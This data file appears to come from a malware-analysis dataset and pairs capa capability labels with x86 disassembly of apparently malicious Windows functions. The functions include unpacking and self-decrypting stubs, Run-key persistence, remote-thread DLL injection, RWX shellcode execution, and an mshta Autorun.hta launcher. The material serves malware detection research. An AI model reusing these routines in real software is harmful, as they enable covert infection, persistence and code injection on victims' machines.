joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48f9e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7c000]
push edi
jmp 0x48f9fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x48fa01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48f9f0
mov eax, 1
add ebx, ebx
jne 0x48fa13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48fa24
jne 0x48fa43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa43
dec eax
add ebx, ebx
jne 0x48fa30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x48fa08
add ebx, ebx
jne 0x48fa3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48fa95
xor ecx, ecx
sub eax, 3
jb 0x48fa5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48faca
sar eax, 1
mov ebp, eax
jmp 0x48fa66
add ebx, ebx
jne 0x48fa66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
inc ecx
add ebx, ebx
jne 0x48fa74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
add ebx, ebx
jne 0x48fa81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48fa76
jne 0x48fa92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48fa76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48fab4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48faa6
jmp 0x48f9f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48fab4
add edi, ecx
jmp 0x48f9f6
pop esi
mov edi, esi
mov ecx, 0x1a9e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x48fad2
cmp byte [edi], 6
jne 0x48fad2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x48fad7
lea edi, [esi + 0x8d000]
mov eax, dword [edi]
or eax, eax
je 0x48fb4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8f000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8f104]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48fb04
mov ecx, edi
jns 0x48fb33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8f108]
or eax, eax
je 0x48fb49
mov dword [ebx], eax
add ebx, 4
jmp 0x48fb21
call dword [esi + 0x8f118]
mov ebp, dword [esi + 0x8f10c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48fb83
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
imul ecx, dword [edi + 0x5d], 0x70
cmp esp, dword [esi]
fincstp
invalid
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x457d24
Capabilities:
Connect network resource
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x10], ebx
mov edi, edx
mov dword [ebp - 8], ebx
call fcn.004077c7
lea ecx, [ebp - 0x20]
call fcn.004077c7
lea ecx, [ebp - 0x40]
call fcn.004077c7
push 0x4b93a8
lea ecx, [ebp - 0x30]
call fcn.00407d2c
push esi
lea ecx, [ebp - 0x30]
call fcn.00407e0b
push str.CLSID
lea ecx, [ebp - 0x30]
call fcn.00407e0b
lea ecx, [ebp - 0x20]
call fcn.00407eec
test edi, edi
je 0x457da7
push 0x5c
pop eax
cmp word [edi], ax
je 0x457da7
cmp word [edi + 2], ax
je 0x457da7
push 0x4b93dc
lea ecx, [ebp - 0x20]
call fcn.00407d2c
push edi
lea ecx, [ebp - 0x20]
call fcn.00407e0b
cmp dword [ebp + 0xc], ebx
je 0x457df8
push 0x20
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.00423020
add esp, 0xc
mov dword [ebp - 0x5c], ebx
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x40]
push eax
call fcn.004081a7
push 0x4b93e4
lea ecx, [ebp - 0x40]
call fcn.00407e0b
mov eax, dword [ebp - 0x40]
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x60]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
mov esi, eax
test esi, esi
js 0x457e84
lea eax, [ebp - 0x10]
push eax
push 0x80000002
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov esi, eax
test esi, esi
jne 0x457e84
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push dword [ebp - 0x30]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
test esi, esi
jne 0x457e7f
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x1fe
push eax
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x457e7a
mov eax, dword [ebp - 0xc]
xor ecx, ecx
push dword [ebp + 8]
shr eax, 1
mov dword [ebp - 0xc], eax
mov word [ebp + eax*2 - 0x26c], cx
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
mov esi, eax
push dword [ebp - 8]
call edi
push dword [ebp - 0x10]
call edi
lea ecx, [ebp - 0x40]
call fcn.00405a64
lea ecx, [ebp - 0x20]
call fcn.00405a64
lea ecx, [ebp - 0x30]
call fcn.00405a64
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46710c
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ecx]
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
test al, 0x10
je 0x467147
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x467182
mov dword [esi], edi
mov eax, dword [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
test al, 1
je 0x46716c
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x46713f
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x4671b9
or eax, 0xffffffff
jmp 0x46713f
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
test eax, eax
je 0x467190
cmp eax, 0xffffffff
je 0x467190
push 1
mov edx, esi
mov ecx, eax
call fcn.00466f08
pop ecx
jmp 0x46713d
push edi
push 0x80
push 3
lea eax, [ebp - 0xc]
push eax
push 1
push 0x80000000
push 0x4ba478
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x46713b
test eax, eax
je 0x46713b
mov ecx, dword [esi]
lea edx, [ebp + 0x10]
push 1
call fcn.00466f08
pop ecx
mov ecx, esi
call fcn.00466ed7
mov eax, dword [ebp + 0x10]
mov dword [esi], eax
jmp 0x46713d
Function at 0x471d09
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
cmp dword [ebx + 0x74], 4
mov esi, dword [edi + 0x54]
mov dword [ebp - 4], esi
jne 0x471d2c
or esi, section..reloc
mov dword [ebp - 4], esi
movzx eax, word [ebx + 0x78]
push 0
push 0
push dword [ebx + 0x70]
push dword [ebx + 0x30]
push dword [ebx + 0x20]
push eax
push dword [ebx + 0x10]
push dword [edi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [edi], eax
test eax, eax
jne 0x471d64
push eax
push 0xdeadbeef
push 0xb
mov ecx, edi
call fcn.00472777
jmp 0x471e53
xor ecx, ecx
push ecx
push esi
push ecx
push ecx
push ecx
push dword [ebx + 0x60]
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
jne 0x471d89
push eax
push 0xdeadbeef
push 0xc
jmp 0x471e3d
cmp byte [ebp + 0xc], 0
je 0x471d98
push ebx
push esi
mov ecx, edi
call fcn.004727ae
test dword [ebp - 4], 0x1000
je 0x471dcd
push 4
pop ebx
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
lea eax, [ebp + 0xc]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp + 0xc], 0x100
lea eax, [ebp + 0xc]
push ebx
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x471e35
push esi
call fcn.00471cc8
cmp eax, 0xc8
jne 0x471e35
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x20
push eax
lea eax, [ebp - 0x24]
push eax
push 5
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x24]
push eax
call fcn.004237d3
pop ecx
mov ecx, edi
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], edx
cmp byte [ebp + 0x10], bl
je 0x471e2f
push esi
call fcn.004725e2
jmp 0x471e44
push 1
push ebx
push ebx
jmp 0x471e3f
push ebx
push 0xdeadbeef
push 0xd
mov ecx, edi
call fcn.00472777
mov bl, al
test esi, esi
je 0x471e51
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x48bced
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
cmp word [eax], di
je 0x48be07
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x48bd24
xor eax, eax
jmp 0x48be36
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x48bd47
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x48bd1d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
lea ecx, [ebp - 0xc]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x48bd1d
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x492cac
push edi
push edi
push dword [ebp - 8]
mov dword [ebp - 4], edi
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x48bd1d
mov eax, dword [ecx]
lea edx, [ebp + 0xc]
push edx
push ecx
call dword [eax + 0xc]
lea eax, [ebp - 0x24]
push eax
push 0x18
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_GetObjectW]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
cmp dword [edx], edi
jne 0x48bde3
cmp dword [ecx], edi
jne 0x48bde3
mov eax, dword [ebp - 0x20]
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
push 0x2000
push dword [ecx]
push dword [edx]
push edi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_CopyImage]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0xc]
jmp 0x48be0c
mov eax, edi
mov dword [ebp + 0xc], eax
mov esi, dword [ebp + 8]
cmp dword [esi + 0x64], 0
je 0x48be21
push dword [esi + 0x64]
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp + 0xc]
push eax
push edi
mov dword [esi + 0x64], eax
mov esi, dword [esi]
push 0x172
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401890
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4018e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
push esi
mov esi, edx
push ebx
mov ebx, eax
sub esp, 0x4c
lea eax, [ebp - 0x34]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.kernel32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4019ab
mov eax, dword [ebp - 0x20]
cmp eax, 4
jne 0x401931
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 0x40
je 0x401919
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [ebp - 0x3c], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x40], ecx
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp - 0x40]
cmp ecx, 4
je 0x401929
cmp ecx, 0x40
je 0x401929
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401890
lea esi, [esi]
lea edi, [edi]
Function at 0x403790
Capabilities:
Create process on windows
Execute command
Get common file path
Set current directory
Set environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
mov eax, 0x302c
push ebp
mov ebp, esp
push esi
push ebx
push ecx
call fcn.00401e90
sub esp, eax
mov ebx, dword [ecx + 4]
call fcn.00401c30
mov eax, dword [ebx]
lea ebx, [ebp - 0x3018]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov eax, ebx
cmp byte [eax], 0
je 0x4037d7
inc eax
jmp 0x4037ca
cmp eax, ebx
je 0x4037dc
dec eax
cmp byte [eax], 0x5c
jne 0x4037d2
mov byte [eax], 0
mov dword [esp], ebx
call sub.kernel32.dll_SetCurrentDirectoryA
push ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x1000
call sub.kernel32.dll_GetCurrentDirectoryA
push esi
push esi
lea esi, [ebp - 0x2018]
mov dword [esp + 4], ebx
mov dword [esp], str.__s_
call sub.msvcrt.dll_printf
cmp byte [ebp - 0x3018], 0x5c
jne 0x403822
cmp byte [ebp - 0x3017], 0x5c
je 0x403857
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__sAutorun.hta_
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.Toolsmshta.exe
jmp 0x4038e4
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__sAutorun.hta_
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], str.NET_USE__Z:___DELETE__YES
call sub.msvcrt.dll_system
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x1018]
mov dword [esp + 4], str.SETLOCAL_ENABLEEXTENSIONS_ENABLEDELAYEDEXPANSION__FOR__F__tokens2____D_IN__NET_USE____s___PERSISTENT:NOFINDSTR__I_unidad__DO_SET_DRIVELETTER__D
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.msvcrt.dll_system
mov dword [esp], ebx
call sub.msvcrt.dll_printf
mov dword [esp + 4], 0x405142
mov dword [esp], str.SEE_MASK_NOZONECHECKS
call sub.kernel32.dll_SetEnvironmentVariableA
push eax
push eax
mov dword [esp], 0x40515a
call sub.kernel32.dll_SetCurrentDirectoryA
push edx
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.Z:Autorun.hta
mov dword [esp + 8], str.Z:Toolsmshta.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6af413a5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x420]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
lea eax, [ebp - 0x424]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6af414da
mov dword [esp], str.Error:_Can_not_open_the_registry_key.
call sym._puts
jmp 0x6af4154b
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x424]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6af4153a
mov dword [esp], str.Error:_Can_not_add_the_value_to_the_registry_key.
call sym._puts
jmp 0x6af4154b
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x6af415b7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6af418cd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6af41cb0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6af4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6af46034]
sub esp, 4
test ebx, ebx
je 0x6af41cfb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6af41cf4
test esi, esi
je 0x6af41cf4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6af41cd0
mov dword [esp], 0x6af4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6af41ee0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6af4421c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]